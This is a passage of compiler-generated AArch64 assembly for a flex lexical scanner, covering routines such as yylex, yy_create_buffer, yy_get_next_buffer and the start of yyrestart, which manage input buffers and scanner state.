adrp x0, l_.str.62@PAGE
add x0, x0, l_.str.62@PAGEOFF
bl _printf
b LBB0_123
LBB0_101: ; in Loop: Header=BB0_11 Depth=1
ldr x8, [sp, #56] ; 8-byte Folded Reload
ldr x9, [sp, #48] ; 8-byte Folded Reload
ldr x0, [x9]
ldrsw x1, [x8]
adrp x8, _yyout@PAGE
ldr x3, [x8, _yyout@PAGEOFF]
mov x2, #1
bl _fwrite
b LBB0_123
LBB0_102:
mov w0, #0
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
add sp, sp, #128
ret
LBB0_103: ; in Loop: Header=BB0_36 Depth=4
ldr x9, [sp, #48] ; 8-byte Folded Reload
ldur x8, [x29, #-16]
ldr x9, [x9]
subs x8, x8, x9
; kill: def $w8 killed $w8 killed $x8
subs w8, w8, #1
stur w8, [x29, #-40]
adrp x8, _yy_hold_char@PAGE
ldrb w8, [x8, _yy_hold_char@PAGEOFF]
ldur x9, [x29, #-16]
strb w8, [x9]
adrp x8, _yy_current_buffer@PAGE
ldr x8, [x8, _yy_current_buffer@PAGEOFF]
ldr w8, [x8, #48]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_105
b LBB0_104
LBB0_104: ; in Loop: Header=BB0_36 Depth=4
adrp x8, _yy_current_buffer@PAGE
ldr x9, [x8, _yy_current_buffer@PAGEOFF]
ldr w9, [x9, #28]
adrp x10, _yy_n_chars@PAGE
str w9, [x10, _yy_n_chars@PAGEOFF]
adrp x9, _yyin@PAGE
ldr x9, [x9, _yyin@PAGEOFF]
ldr x10, [x8, _yy_current_buffer@PAGEOFF]
str x9, [x10]
ldr x9, [x8, _yy_current_buffer@PAGEOFF]
mov w8, #1
str w8, [x9, #48]
b LBB0_105
LBB0_105: ; in Loop: Header=BB0_36 Depth=4
adrp x8, _yy_c_buf_p@PAGE
ldr x8, [x8, _yy_c_buf_p@PAGEOFF]
adrp x9, _yy_current_buffer@PAGE
ldr x9, [x9, _yy_current_buffer@PAGEOFF]
ldr x9, [x9, #8]
adrp x10, _yy_n_chars@PAGE
ldrsw x10, [x10, _yy_n_chars@PAGEOFF]
add x9, x9, x10
subs x8, x8, x9
cset w8, hi
tbnz w8, #0, LBB0_109
b LBB0_106
LBB0_106: ; in Loop: Header=BB0_21 Depth=3
ldr x8, [sp, #48] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-40]
add x8, x8, x9
adrp x9, _yy_c_buf_p@PAGE
str x8, [x9, _yy_c_buf_p@PAGEOFF]
bl _yy_get_previous_state
stur w0, [x29, #-4]
ldur w0, [x29, #-4]
bl _yy_try_NUL_trans
ldr x8, [sp, #48] ; 8-byte Folded Reload
stur w0, [x29, #-44]
ldr x8, [x8]
stur x8, [x29, #-24]
ldur w8, [x29, #-44]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_108
b LBB0_107
LBB0_107: ; in Loop: Header=BB0_12 Depth=2
adrp x10, _yy_c_buf_p@PAGE
ldr x8, [x10, _yy_c_buf_p@PAGEOFF]
add x8, x8, #1
mov x9, x8
str x9, [x10, _yy_c_buf_p@PAGEOFF]
stur x8, [x29, #-16]
ldur w8, [x29, #-44]
stur w8, [x29, #-4]
b LBB0_12
LBB0_108: ; in Loop: Header=BB0_21 Depth=3
adrp x8, _yy_c_buf_p@PAGE
ldr x8, [x8, _yy_c_buf_p@PAGEOFF]
stur x8, [x29, #-16]
b LBB0_21
LBB0_109: ; in Loop: Header=BB0_36 Depth=4
bl _yy_get_next_buffer
str w0, [sp, #36] ; 4-byte Folded Spill
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_118
b LBB0_110
LBB0_110: ; in Loop: Header=BB0_36 Depth=4
ldr w8, [sp, #36] ; 4-byte Folded Reload
subs w8, w8, #1
cset w8, eq
tbnz w8, #0, LBB0_112
b LBB0_111
LBB0_111: ; in Loop: Header=BB0_21 Depth=3
ldr w8, [sp, #36] ; 4-byte Folded Reload
subs w8, w8, #2
cset w8, eq
tbnz w8, #0, LBB0_119
b LBB0_120
LBB0_112: ; in Loop: Header=BB0_36 Depth=4
adrp x8, _yy_did_buffer_switch_on_eof@PAGE
str wzr, [x8, _yy_did_buffer_switch_on_eof@PAGEOFF]
bl _yywrap
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_114
b LBB0_113
LBB0_113: ; in Loop: Header=BB0_36 Depth=4
ldr x8, [sp, #48] ; 8-byte Folded Reload
ldr x8, [x8]
adrp x9, _yy_c_buf_p@PAGE
str x8, [x9, _yy_c_buf_p@PAGEOFF]
adrp x8, _yy_start@PAGE
ldr w8, [x8, _yy_start@PAGEOFF]
subs w8, w8, #1
mov w9, #2
sdiv w8, w8, w9
add w8, w8, #65
add w8, w8, #1
stur w8, [x29, #-28]
b LBB0_36
LBB0_114: ; in Loop: Header=BB0_11 Depth=1
adrp x8, _yy_did_buffer_switch_on_eof@PAGE
ldr w8, [x8, _yy_did_buffer_switch_on_eof@PAGEOFF]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_116
b LBB0_115
LBB0_115: ; in Loop: Header=BB0_11 Depth=1
adrp x8, _yyin@PAGE
ldr x0, [x8, _yyin@PAGEOFF]
bl _yyrestart
b LBB0_116
LBB0_116: ; in Loop: Header=BB0_11 Depth=1
b LBB0_117
LBB0_117: ; in Loop: Header=BB0_11 Depth=1
b LBB0_120
LBB0_118: ; in Loop: Header=BB0_12 Depth=2
ldr x8, [sp, #48] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-40]
add x8, x8, x9
adrp x9, _yy_c_buf_p@PAGE
str x9, [sp, #24] ; 8-byte Folded Spill
str x8, [x9, _yy_c_buf_p@PAGEOFF]
bl _yy_get_previous_state
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr x8, [sp, #48] ; 8-byte Folded Reload
stur w0, [x29, #-4]
ldr x9, [x9, _yy_c_buf_p@PAGEOFF]
stur x9, [x29, #-16]
ldr x8, [x8]
stur x8, [x29, #-24]
b LBB0_12
LBB0_119: ; in Loop: Header=BB0_21 Depth=3
adrp x8, _yy_current_buffer@PAGE
ldr x8, [x8, _yy_current_buffer@PAGEOFF]
ldr x8, [x8, #8]
adrp x9, _yy_n_chars@PAGE
ldrsw x9, [x9, _yy_n_chars@PAGEOFF]
add x8, x8, x9
adrp x9, _yy_c_buf_p@PAGE
str x9, [sp, #16] ; 8-byte Folded Spill
str x8, [x9, _yy_c_buf_p@PAGEOFF]
bl _yy_get_previous_state
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr x8, [sp, #48] ; 8-byte Folded Reload
stur w0, [x29, #-4]
ldr x9, [x9, _yy_c_buf_p@PAGEOFF]
stur x9, [x29, #-16]
ldr x8, [x8]
stur x8, [x29, #-24]
b LBB0_21
LBB0_120: ; in Loop: Header=BB0_11 Depth=1
b LBB0_121
LBB0_121: ; in Loop: Header=BB0_11 Depth=1
b LBB0_123
LBB0_122: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.63@PAGE
add x0, x0, l_.str.63@PAGEOFF
bl _yy_fatal_error
b LBB0_123
LBB0_123: ; in Loop: Header=BB0_11 Depth=1
b LBB0_11
.cfi_endproc
.p2align 2
lJTI0_0:
.long LBB0_38-Ltmp0
.long LBB0_39-Ltmp0
.long LBB0_40-Ltmp0
.long LBB0_41-Ltmp0
.long LBB0_42-Ltmp0
.long LBB0_43-Ltmp0
.long LBB0_44-Ltmp0
.long LBB0_45-Ltmp0
.long LBB0_46-Ltmp0
.long LBB0_47-Ltmp0
.long LBB0_48-Ltmp0
.long LBB0_49-Ltmp0
.long LBB0_50-Ltmp0
.long LBB0_51-Ltmp0
.long LBB0_52-Ltmp0
.long LBB0_53-Ltmp0
.long LBB0_54-Ltmp0
.long LBB0_55-Ltmp0
.long LBB0_56-Ltmp0
.long LBB0_57-Ltmp0
.long LBB0_58-Ltmp0
.long LBB0_59-Ltmp0
.long LBB0_60-Ltmp0
.long LBB0_61-Ltmp0
.long LBB0_62-Ltmp0
.long LBB0_63-Ltmp0
.long LBB0_64-Ltmp0
.long LBB0_65-Ltmp0
.long LBB0_66-Ltmp0
.long LBB0_67-Ltmp0
.long LBB0_68-Ltmp0
.long LBB0_69-Ltmp0
.long LBB0_70-Ltmp0
.long LBB0_71-Ltmp0
.long LBB0_72-Ltmp0
.long LBB0_73-Ltmp0
.long LBB0_74-Ltmp0
.long LBB0_75-Ltmp0
.long LBB0_76-Ltmp0
.long LBB0_77-Ltmp0
.long LBB0_78-Ltmp0
.long LBB0_79-Ltmp0
.long LBB0_80-Ltmp0
.long LBB0_81-Ltmp0
.long LBB0_82-Ltmp0
.long LBB0_83-Ltmp0
.long LBB0_84-Ltmp0
.long LBB0_85-Ltmp0
.long LBB0_86-Ltmp0
.long LBB0_87-Ltmp0
.long LBB0_88-Ltmp0
.long LBB0_89-Ltmp0
.long LBB0_90-Ltmp0
.long LBB0_91-Ltmp0
.long LBB0_92-Ltmp0
.long LBB0_93-Ltmp0
.long LBB0_94-Ltmp0
.long LBB0_95-Ltmp0
.long LBB0_96-Ltmp0
.long LBB0_97-Ltmp0
.long LBB0_98-Ltmp0
.long LBB0_99-Ltmp0
.long LBB0_100-Ltmp0
.long LBB0_101-Ltmp0
.long LBB0_103-Ltmp0
.long LBB0_102-Ltmp0
; -- End function
.globl _yy_create_buffer ; -- Begin function yy_create_buffer
.p2align 2
_yy_create_buffer: ; @yy_create_buffer
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur w1, [x29, #-12]
mov w0, #56
bl _yy_flex_alloc
str x0, [sp, #8]
ldr x8, [sp, #8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
adrp x0, l_.str.64@PAGE
add x0, x0, l_.str.64@PAGEOFF
bl _yy_fatal_error
b LBB1_2
LBB1_2:
ldur w8, [x29, #-12]
ldr x9, [sp, #8]
str w8, [x9, #24]
ldr x8, [sp, #8]
ldr w8, [x8, #24]
add w0, w8, #2
bl _yy_flex_alloc
ldr x8, [sp, #8]
str x0, [x8, #8]
ldr x8, [sp, #8]
ldr x8, [x8, #8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3:
adrp x0, l_.str.64@PAGE
add x0, x0, l_.str.64@PAGEOFF
bl _yy_fatal_error
b LBB1_4
LBB1_4:
ldr x9, [sp, #8]
mov w8, #1
str w8, [x9, #32]
ldr x0, [sp, #8]
ldur x1, [x29, #-8]
bl _yy_init_buffer
ldr x0, [sp, #8]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _yy_load_buffer_state ; -- Begin function yy_load_buffer_state
.p2align 2
_yy_load_buffer_state: ; @yy_load_buffer_state
.cfi_startproc
; %bb.0:
adrp x9, _yy_current_buffer@PAGE
ldr x8, [x9, _yy_current_buffer@PAGEOFF]
ldr w8, [x8, #28]
adrp x10, _yy_n_chars@PAGE
str w8, [x10, _yy_n_chars@PAGEOFF]
ldr x8, [x9, _yy_current_buffer@PAGEOFF]
ldr x10, [x8, #16]
adrp x8, _yy_c_buf_p@PAGE
str x10, [x8, _yy_c_buf_p@PAGEOFF]
adrp x11, _yytext@GOTPAGE
ldr x11, [x11, _yytext@GOTPAGEOFF]
str x10, [x11]
ldr x9, [x9, _yy_current_buffer@PAGEOFF]
ldr x9, [x9]
adrp x10, _yyin@PAGE
str x9, [x10, _yyin@PAGEOFF]
ldr x8, [x8, _yy_c_buf_p@PAGEOFF]
ldrb w8, [x8]
adrp x9, _yy_hold_char@PAGE
strb w8, [x9, _yy_hold_char@PAGEOFF]
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function yy_get_previous_state
_yy_get_previous_state: ; @yy_get_previous_state
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
adrp x8, _yy_start@PAGE
ldr w8, [x8, _yy_start@PAGEOFF]
str w8, [sp, #28]
adrp x11, _yy_state_ptr@PAGE
adrp x8, _yy_state_buf@PAGE
add x8, x8, _yy_state_buf@PAGEOFF
str x8, [x11, _yy_state_ptr@PAGEOFF]
ldr w8, [sp, #28]
ldr x9, [x11, _yy_state_ptr@PAGEOFF]
add x10, x9, #4
str x10, [x11, _yy_state_ptr@PAGEOFF]
str w8, [x9]
adrp x8, _yytext@GOTPAGE
ldr x8, [x8, _yytext@GOTPAGEOFF]
ldr x8, [x8]
str x8, [sp, #16]
b LBB3_1
LBB3_1: ; =>This Loop Header: Depth=1
; Child Loop BB3_6 Depth 2
ldr x8, [sp, #16]
adrp x9, _yy_c_buf_p@PAGE
ldr x9, [x9, _yy_c_buf_p@PAGEOFF]
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB3_12
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #16]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB3_4
b LBB3_3
LBB3_3: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #16]
ldrb w8, [x8]
mov x9, x8
adrp x8, _yy_ec@PAGE
add x8, x8, _yy_ec@PAGEOFF
ldr w8, [x8, x9, lsl #2]
str w8, [sp, #8] ; 4-byte Folded Spill
b LBB3_5
LBB3_4: ; in Loop: Header=BB3_1 Depth=1
mov w8, #1
str w8, [sp, #8] ; 4-byte Folded Spill
b LBB3_5
LBB3_5: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #8] ; 4-byte Folded Reload
strb w8, [sp, #15]
b LBB3_6
LBB3_6: ; Parent Loop BB3_1 Depth=1
; => This Inner Loop Header: Depth=2
ldrsw x9, [sp, #28]
adrp x8, _yy_base@PAGE
add x8, x8, _yy_base@PAGEOFF
ldrsh w8, [x8, x9, lsl #1]
ldrb w9, [sp, #15]
add w9, w8, w9
adrp x8, _yy_chk@PAGE
add x8, x8, _yy_chk@PAGEOFF
ldrsh w8, [x8, w9, sxtw #1]
ldr w9, [sp, #28]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB3_10
b LBB3_7
LBB3_7: ; in Loop: Header=BB3_6 Depth=2
ldrsw x9, [sp, #28]
adrp x8, _yy_def@PAGE
add x8, x8, _yy_def@PAGEOFF
ldrsh w8, [x8, x9, lsl #1]
str w8, [sp, #28]
ldr w8, [sp, #28]
subs w8, w8, #187
cset w8, lt
tbnz w8, #0, LBB3_9
b LBB3_8
LBB3_8: ; in Loop: Header=BB3_6 Depth=2
ldrb w8, [sp, #15]
mov x9, x8
adrp x8, _yy_meta@PAGE
add x8, x8, _yy_meta@PAGEOFF
ldr w8, [x8, x9, lsl #2]
strb w8, [sp, #15]
b LBB3_9
LBB3_9: ; in Loop: Header=BB3_6 Depth=2
b LBB3_6
LBB3_10: ; in Loop: Header=BB3_1 Depth=1
ldrsw x9, [sp, #28]
adrp x8, _yy_base@PAGE
add x8, x8, _yy_base@PAGEOFF
ldrsh w8, [x8, x9, lsl #1]
ldrb w9, [sp, #15]
add w9, w8, w9
adrp x8, _yy_nxt@PAGE
add x8, x8, _yy_nxt@PAGEOFF
ldrsh w8, [x8, w9, uxtw #1]
str w8, [sp, #28]
ldr w8, [sp, #28]
adrp x11, _yy_state_ptr@PAGE
ldr x9, [x11, _yy_state_ptr@PAGEOFF]
add x10, x9, #4
str x10, [x11, _yy_state_ptr@PAGEOFF]
str w8, [x9]
b LBB3_11
LBB3_11: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #16]
add x8, x8, #1
str x8, [sp, #16]
b LBB3_1
LBB3_12:
ldr w0, [sp, #28]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function yy_try_NUL_trans
_yy_try_NUL_trans: ; @yy_try_NUL_trans
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #12]
mov w8, #1
strb w8, [sp, #7]
b LBB4_1
LBB4_1: ; =>This Inner Loop Header: Depth=1
ldrsw x9, [sp, #12]
adrp x8, _yy_base@PAGE
add x8, x8, _yy_base@PAGEOFF
ldrsh w8, [x8, x9, lsl #1]
ldrb w9, [sp, #7]
add w9, w8, w9
adrp x8, _yy_chk@PAGE
add x8, x8, _yy_chk@PAGEOFF
ldrsh w8, [x8, w9, sxtw #1]
ldr w9, [sp, #12]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB4_5
b LBB4_2
LBB4_2: ; in Loop: Header=BB4_1 Depth=1
ldrsw x9, [sp, #12]
adrp x8, _yy_def@PAGE
add x8, x8, _yy_def@PAGEOFF
ldrsh w8, [x8, x9, lsl #1]
str w8, [sp, #12]
ldr w8, [sp, #12]
subs w8, w8, #187
cset w8, lt
tbnz w8, #0, LBB4_4
b LBB4_3
LBB4_3: ; in Loop: Header=BB4_1 Depth=1
ldrb w8, [sp, #7]
mov x9, x8
adrp x8, _yy_meta@PAGE
add x8, x8, _yy_meta@PAGEOFF
ldr w8, [x8, x9, lsl #2]
strb w8, [sp, #7]
b LBB4_4
LBB4_4: ; in Loop: Header=BB4_1 Depth=1
b LBB4_1
LBB4_5:
ldrsw x9, [sp, #12]
adrp x8, _yy_base@PAGE
add x8, x8, _yy_base@PAGEOFF
ldrsh w8, [x8, x9, lsl #1]
ldrb w9, [sp, #7]
add w9, w8, w9
adrp x8, _yy_nxt@PAGE
add x8, x8, _yy_nxt@PAGEOFF
ldrsh w8, [x8, w9, uxtw #1]
str w8, [sp, #12]
ldr w8, [sp, #12]
subs w8, w8, #186
cset w8, eq
and w8, w8, #0x1
str w8, [sp, #8]
ldr w8, [sp, #8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB4_7
b LBB4_6
LBB4_6:
ldr w8, [sp, #12]
adrp x11, _yy_state_ptr@PAGE
ldr x9, [x11, _yy_state_ptr@PAGEOFF]
add x10, x9, #4
str x10, [x11, _yy_state_ptr@PAGEOFF]
str w8, [x9]
b LBB4_7
LBB4_7:
ldr w8, [sp, #8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB4_9
b LBB4_8
LBB4_8:
mov w8, #0
str w8, [sp] ; 4-byte Folded Spill
b LBB4_10
LBB4_9:
ldr w8, [sp, #12]
str w8, [sp] ; 4-byte Folded Spill
b LBB4_10
LBB4_10:
ldr w0, [sp] ; 4-byte Folded Reload
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function yy_get_next_buffer
_yy_get_next_buffer: ; @yy_get_next_buffer
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _yytext@GOTPAGE
ldr x8, [x8, _yytext@GOTPAGEOFF]
str x8, [sp, #8] ; 8-byte Folded Spill
adrp x9, _yy_current_buffer@PAGE
ldr x10, [x9, _yy_current_buffer@PAGEOFF]
ldr x10, [x10, #8]
stur x10, [x29, #-16]
ldr x8, [x8]
stur x8, [x29, #-24]
adrp x8, _yy_c_buf_p@PAGE
ldr x8, [x8, _yy_c_buf_p@PAGEOFF]
ldr x9, [x9, _yy_current_buffer@PAGEOFF]
ldr x9, [x9, #8]
adrp x10, _yy_n_chars@PAGE
ldr w10, [x10, _yy_n_chars@PAGEOFF]
add w10, w10, #1
add x9, x9, w10, sxtw
subs x8, x8, x9
cset w8, ls
tbnz w8, #0, LBB5_2
b LBB5_1
LBB5_1:
adrp x0, l_.str.70@PAGE
add x0, x0, l_.str.70@PAGEOFF
bl _yy_fatal_error
b LBB5_2
LBB5_2:
adrp x8, _yy_current_buffer@PAGE
ldr x8, [x8, _yy_current_buffer@PAGEOFF]
ldr w8, [x8, #44]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB5_6
b LBB5_3
LBB5_3:
ldr x9, [sp, #8] ; 8-byte Folded Reload
adrp x8, _yy_c_buf_p@PAGE
ldr x8, [x8, _yy_c_buf_p@PAGEOFF]
ldr x9, [x9]
subs x8, x8, x9
subs x8, x8, #0
subs x8, x8, #1
cset w8, ne
tbnz w8, #0, LBB5_5
b LBB5_4
LBB5_4:
mov w8, #1
stur w8, [x29, #-4]
b LBB5_43
LBB5_5:
mov w8, #2
stur w8, [x29, #-4]
b LBB5_43
LBB5_6:
ldr x9, [sp, #8] ; 8-byte Folded Reload
adrp x8, _yy_c_buf_p@PAGE
ldr x8, [x8, _yy_c_buf_p@PAGEOFF]
ldr x9, [x9]
subs x8, x8, x9
; kill: def $w8 killed $w8 killed $x8
subs w8, w8, #1
stur w8, [x29, #-28]
str wzr, [sp, #32]
b LBB5_7
LBB5_7: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #32]
ldur w9, [x29, #-28]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB5_10
b LBB5_8
LBB5_8: ; in Loop: Header=BB5_7 Depth=1
ldur x8, [x29, #-24]
add x9, x8, #1
stur x9, [x29, #-24]
ldrb w8, [x8]
ldur x9, [x29, #-16]
add x10, x9, #1
stur x10, [x29, #-16]
strb w8, [x9]
b LBB5_9
LBB5_9: ; in Loop: Header=BB5_7 Depth=1
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB5_7
LBB5_10:
adrp x8, _yy_current_buffer@PAGE
ldr x8, [x8, _yy_current_buffer@PAGEOFF]
ldr w8, [x8, #48]
subs w8, w8, #2
cset w8, ne
tbnz w8, #0, LBB5_12
b LBB5_11
LBB5_11:
adrp x8, _yy_n_chars@PAGE
str wzr, [x8, _yy_n_chars@PAGEOFF]
adrp x8, _yy_current_buffer@PAGE
ldr x8, [x8, _yy_current_buffer@PAGEOFF]
str wzr, [x8, #28]
b LBB5_36
LBB5_12:
adrp x8, _yy_current_buffer@PAGE
ldr x8, [x8, _yy_current_buffer@PAGEOFF]
ldr w8, [x8, #24]
ldur w9, [x29, #-28]
subs w8, w8, w9
subs w8, w8, #1
str w8, [sp, #24]
b LBB5_13
LBB5_13: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #24]
subs w8, w8, #0
cset w8, gt
tbnz w8, #0, LBB5_15
b LBB5_14
LBB5_14: ; in Loop: Header=BB5_13 Depth=1
adrp x0, l_.str.71@PAGE
add x0, x0, l_.str.71@PAGEOFF
bl _yy_fatal_error
b LBB5_13
LBB5_15:
ldr w8, [sp, #24]
subs w8, w8, #2, lsl #12 ; =8192
cset w8, le
tbnz w8, #0, LBB5_17
b LBB5_16
LBB5_16:
mov w8, #8192
str w8, [sp, #24]
b LBB5_17
LBB5_17:
adrp x8, _yy_current_buffer@PAGE
ldr x8, [x8, _yy_current_buffer@PAGEOFF]
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB5_31
b LBB5_18
LBB5_18:
mov w8, #42
str w8, [sp, #20]
str wzr, [sp, #16]
b LBB5_19
LBB5_19: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #16]
ldr w9, [sp, #24]
subs w8, w8, w9
cset w8, ge
mov w9, #0
str w9, [sp, #4] ; 4-byte Folded Spill
tbnz w8, #0, LBB5_22
b LBB5_20
LBB5_20: ; in Loop: Header=BB5_19 Depth=1
adrp x8, _yyin@PAGE
ldr x0, [x8, _yyin@PAGEOFF]
bl _getc
str w0, [sp, #20]
adds w8, w0, #1
cset w8, eq
mov w9, #0
str w9, [sp, #4] ; 4-byte Folded Spill
tbnz w8, #0, LBB5_22
b LBB5_21
LBB5_21: ; in Loop: Header=BB5_19 Depth=1
ldr w8, [sp, #20]
subs w8, w8, #10
cset w8, ne
str w8, [sp, #4] ; 4-byte Folded Spill
b LBB5_22
LBB5_22: ; in Loop: Header=BB5_19 Depth=1
ldr w8, [sp, #4] ; 4-byte Folded Reload
tbz w8, #0, LBB5_25
b LBB5_23
LBB5_23: ; in Loop: Header=BB5_19 Depth=1
ldr w8, [sp, #20]
adrp x9, _yy_current_buffer@PAGE
ldr x9, [x9, _yy_current_buffer@PAGEOFF]
ldr x9, [x9, #8]
ldursw x10, [x29, #-28]
add x9, x9, x10
ldrsw x10, [sp, #16]
strb w8, [x9, x10]
b LBB5_24
LBB5_24: ; in Loop: Header=BB5_19 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB5_19
LBB5_25:
ldr w8, [sp, #20]
subs w8, w8, #10
cset w8, ne
tbnz w8, #0, LBB5_27
b LBB5_26
LBB5_26:
ldr w8, [sp, #20]
adrp x9, _yy_current_buffer@PAGE
ldr x9, [x9, _yy_current_buffer@PAGEOFF]
ldr x9, [x9, #8]
ldursw x10, [x29, #-28]
add x9, x9, x10
ldrsw x10, [sp, #16]
mov x11, x10
add w11, w11, #1
str w11, [sp, #16]
strb w8, [x9, x10]
b LBB5_27
LBB5_27:
ldr w8, [sp, #20]
adds w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB5_30
b LBB5_28
LBB5_28:
adrp x8, _yyin@PAGE
ldr x0, [x8, _yyin@PAGEOFF]
bl _ferror
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB5_30
b LBB5_29
LBB5_29:
adrp x0, l_.str.72@PAGE
add x0, x0, l_.str.72@PAGEOFF
bl _yy_fatal_error
b LBB5_30
LBB5_30:
ldr w8, [sp, #16]
adrp x9, _yy_n_chars@PAGE
str w8, [x9, _yy_n_chars@PAGEOFF]
b LBB5_35
LBB5_31:
adrp x8, _yy_current_buffer@PAGE
ldr x8, [x8, _yy_current_buffer@PAGEOFF]
ldr x8, [x8, #8]
ldursw x9, [x29, #-28]
add x0, x8, x9
ldrsw x2, [sp, #24]
adrp x8, _yyin@PAGE
ldr x3, [x8, _yyin@PAGEOFF]
mov x1, #1
bl _fread
mov x8, x0
adrp x10, _yy_n_chars@PAGE
mov x9, x0
str w9, [x10, _yy_n_chars@PAGEOFF]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB5_34
b LBB5_32
LBB5_32:
adrp x8, _yyin@PAGE
ldr x0, [x8, _yyin@PAGEOFF]
bl _ferror
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB5_34
b LBB5_33
LBB5_33:
adrp x0, l_.str.72@PAGE
add x0, x0, l_.str.72@PAGEOFF
bl _yy_fatal_error
b LBB5_34
LBB5_34:
b LBB5_35
LBB5_35:
adrp x8, _yy_n_chars@PAGE
ldr w8, [x8, _yy_n_chars@PAGEOFF]
adrp x9, _yy_current_buffer@PAGE
ldr x9, [x9, _yy_current_buffer@PAGEOFF]
str w8, [x9, #28]
b LBB5_36
LBB5_36:
adrp x8, _yy_n_chars@PAGE
ldr w8, [x8, _yy_n_chars@PAGEOFF]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB5_41
b LBB5_37
LBB5_37:
ldur w8, [x29, #-28]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB5_39
b LBB5_38
LBB5_38:
mov w8, #1
str w8, [sp, #28]
adrp x8, _yyin@PAGE
ldr x0, [x8, _yyin@PAGEOFF]
bl _yyrestart
b LBB5_40
LBB5_39:
mov w8, #2
str w8, [sp, #28]
adrp x9, _yy_current_buffer@PAGE
ldr x9, [x9, _yy_current_buffer@PAGEOFF]
str w8, [x9, #48]
b LBB5_40
LBB5_40:
b LBB5_42
LBB5_41:
str wzr, [sp, #28]
b LBB5_42
LBB5_42:
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldur w10, [x29, #-28]
adrp x11, _yy_n_chars@PAGE
ldr w8, [x11, _yy_n_chars@PAGEOFF]
add w8, w8, w10
str w8, [x11, _yy_n_chars@PAGEOFF]
adrp x8, _yy_current_buffer@PAGE
ldr x10, [x8, _yy_current_buffer@PAGEOFF]
ldr x10, [x10, #8]
ldrsw x12, [x11, _yy_n_chars@PAGEOFF]
add x10, x10, x12
strb wzr, [x10]
ldr x10, [x8, _yy_current_buffer@PAGEOFF]
ldr x10, [x10, #8]
ldr w11, [x11, _yy_n_chars@PAGEOFF]
add w11, w11, #1
add x10, x10, w11, sxtw
strb wzr, [x10]
ldr x8, [x8, _yy_current_buffer@PAGEOFF]
ldr x8, [x8, #8]
str x8, [x9]
ldr w8, [sp, #28]
stur w8, [x29, #-4]
b LBB5_43
LBB5_43:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.globl _yyrestart ; -- Begin function yyrestart
.p2align 2
_yyrestart: ; @yyrestart
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
adrp x8, _yy_current_buffer@PAGE
ldr x8, [x8, _yy_current_buffer@PAGEOFF]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB6_2
b LBB6_1
LBB6_1:
adrp x8, _yyin@PAGE
ldr x0, [x8, _yyin@PAGEOFF]
mov w1, #16384
bl _yy_create_buffer
adrp x8, _yy_current_buffer@PAGE
str x0, [x8, _yy_current_buffer@PAGEOFF]
b LBB6_2
LBB6_2:
adrp x8, _yy_current_buffer@PAGE
ldr x0, [x8, _yy_current_buffer@PAGEOFF]
ldr x1, [sp, #8]
bl _yy_init_buffer
